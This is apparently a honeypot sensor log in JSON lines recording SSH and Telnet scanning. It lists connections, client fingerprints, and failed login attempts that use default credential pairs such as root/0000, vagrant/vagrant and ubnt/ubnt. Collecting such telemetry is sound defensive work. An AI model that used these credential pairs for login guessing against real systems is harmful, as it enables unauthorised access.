{"eventid":"cowrie.session.closed","duration":"78.2","message":"Connection lost after 78.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:28:35.231359Z","src_ip":"8.218.166.49","session":"c995797577be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:28:45.216712Z","src_ip":"8.218.166.49","session":"01771759df63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"33.2","message":"Connection lost after 33.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:28:47.900448Z","src_ip":"8.218.166.49","session":"01771759df63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:28:51.257339Z","src_ip":"47.86.95.62","session":"f78e32de75ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prefect","password":"prefect","message":"login attempt [prefect/prefect] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:28:55.161865Z","src_ip":"47.86.95.62","session":"f78e32de75ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"68.9","message":"Connection lost after 68.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:28:59.847947Z","src_ip":"47.86.95.62","session":"f78e32de75ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.117.199.5","src_port":52234,"dst_ip":"10.17.0.5","dst_port":22,"session":"d84ee526a6d1","protocol":"ssh","message":"New connection: 154.117.199.5:52234 (10.17.0.5:22) [session: d84ee526a6d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:29:08.721087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh-0.2","message":"Remote SSH version: SSH-2.0-libssh-0.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:29:08.954777Z","src_ip":"154.117.199.5","session":"d84ee526a6d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:29:09.190321Z","src_ip":"154.117.199.5","session":"d84ee526a6d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00429582595825,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:29:12.928949Z","src_ip":"187.222.242.146","session":"624bf6a90176","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":54304,"dst_ip":"159.203.135.109","dst_port":23,"session":"319b3aa3434e","protocol":"telnet","message":"New connection: 187.222.242.146:54304 (159.203.135.109:23) [session: 319b3aa3434e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:29:13.686237Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":42900,"dst_ip":"10.17.0.5","dst_port":22,"session":"73280527f106","protocol":"ssh","message":"New connection: 47.86.95.62:42900 (10.17.0.5:22) [session: 73280527f106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:29:21.794547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:29:22.026515Z","src_ip":"47.86.95.62","session":"73280527f106","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:29:22.031988Z","src_ip":"47.86.95.62","session":"73280527f106","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":53042,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb1608b55b94","protocol":"ssh","message":"New connection: 8.218.166.49:53042 (10.17.0.5:22) [session: eb1608b55b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:29:23.779598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:29:23.819297Z","src_ip":"8.218.166.49","session":"eb1608b55b94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:29:25.419572Z","src_ip":"47.86.95.62","session":"73280527f106","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:29:26.689067Z","src_ip":"47.86.95.62","session":"73280527f106","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":60288,"dst_ip":"10.17.0.5","dst_port":22,"session":"32f9344da71f","protocol":"ssh","message":"New connection: 47.86.95.62:60288 (10.17.0.5:22) [session: 32f9344da71f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:29:32.203684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:29:32.208738Z","src_ip":"47.86.95.62","session":"32f9344da71f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:29:32.413559Z","src_ip":"47.86.95.62","session":"32f9344da71f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test!@","message":"login attempt [test/test!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:29:33.037865Z","src_ip":"47.86.95.62","session":"32f9344da71f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:29:34.249369Z","src_ip":"47.86.95.62","session":"32f9344da71f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":45302,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1565952368c","protocol":"ssh","message":"New connection: 8.218.166.49:45302 (10.17.0.5:22) [session: d1565952368c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:29:34.932578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:29:34.937704Z","src_ip":"8.218.166.49","session":"d1565952368c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":45312,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddec32d8c53f","protocol":"ssh","message":"New connection: 8.218.166.49:45312 (10.17.0.5:22) [session: ddec32d8c53f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:29:43.480715Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":38190,"dst_ip":"10.17.0.5","dst_port":22,"session":"b91ee3bc8d14","protocol":"ssh","message":"New connection: 8.218.166.49:38190 (10.17.0.5:22) [session: b91ee3bc8d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:00.619613Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":41586,"dst_ip":"10.17.0.5","dst_port":22,"session":"aeaa0ab00f07","protocol":"ssh","message":"New connection: 47.86.95.62:41586 (10.17.0.5:22) [session: aeaa0ab00f07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:01.114795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:05.357399Z","src_ip":"47.86.95.62","session":"aeaa0ab00f07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:05.365272Z","src_ip":"47.86.95.62","session":"aeaa0ab00f07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:11.853214Z","src_ip":"47.86.95.62","session":"aeaa0ab00f07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":57876,"dst_ip":"10.17.0.5","dst_port":22,"session":"94705b7b4d40","protocol":"ssh","message":"New connection: 8.218.166.49:57876 (10.17.0.5:22) [session: 94705b7b4d40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:13.049889Z"}
{"eventid":"cowrie.session.closed","duration":"12.4","message":"Connection lost after 12.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:13.490651Z","src_ip":"47.86.95.62","session":"aeaa0ab00f07","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:14.585109Z","src_ip":"8.218.166.49","session":"94705b7b4d40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:19.625115Z","src_ip":"8.218.166.49","session":"94705b7b4d40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":38404,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e989ceb40e1","protocol":"ssh","message":"New connection: 47.86.95.62:38404 (10.17.0.5:22) [session: 7e989ceb40e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:23.928959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:23.934784Z","src_ip":"47.86.95.62","session":"7e989ceb40e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:24.142081Z","src_ip":"47.86.95.62","session":"7e989ceb40e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:24.820707Z","src_ip":"47.86.95.62","session":"7e989ceb40e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:25.433838Z","src_ip":"8.218.166.49","session":"94705b7b4d40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:26.032972Z","src_ip":"47.86.95.62","session":"7e989ceb40e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.6","message":"Connection lost after 13.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:26.645261Z","src_ip":"8.218.166.49","session":"94705b7b4d40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.155.249.211","src_port":52488,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1457a342298","protocol":"telnet","message":"New connection: 187.155.249.211:52488 (159.203.135.109:23) [session: c1457a342298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:29.264040Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.155.249.211","src_port":52532,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ca27f602ae7","protocol":"telnet","message":"New connection: 187.155.249.211:52532 (159.203.135.109:23) [session: 3ca27f602ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:29.497713Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":38416,"dst_ip":"10.17.0.5","dst_port":22,"session":"594c268ef670","protocol":"ssh","message":"New connection: 47.86.95.62:38416 (10.17.0.5:22) [session: 594c268ef670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:29.700635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:29.706337Z","src_ip":"47.86.95.62","session":"594c268ef670","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:29.913227Z","src_ip":"47.86.95.62","session":"594c268ef670","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:30.637172Z","src_ip":"47.86.95.62","session":"594c268ef670","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":59778,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecb88931abe2","protocol":"ssh","message":"New connection: 2.57.122.238:59778 (159.203.135.109:22) [session: ecb88931abe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:34.034778Z"}
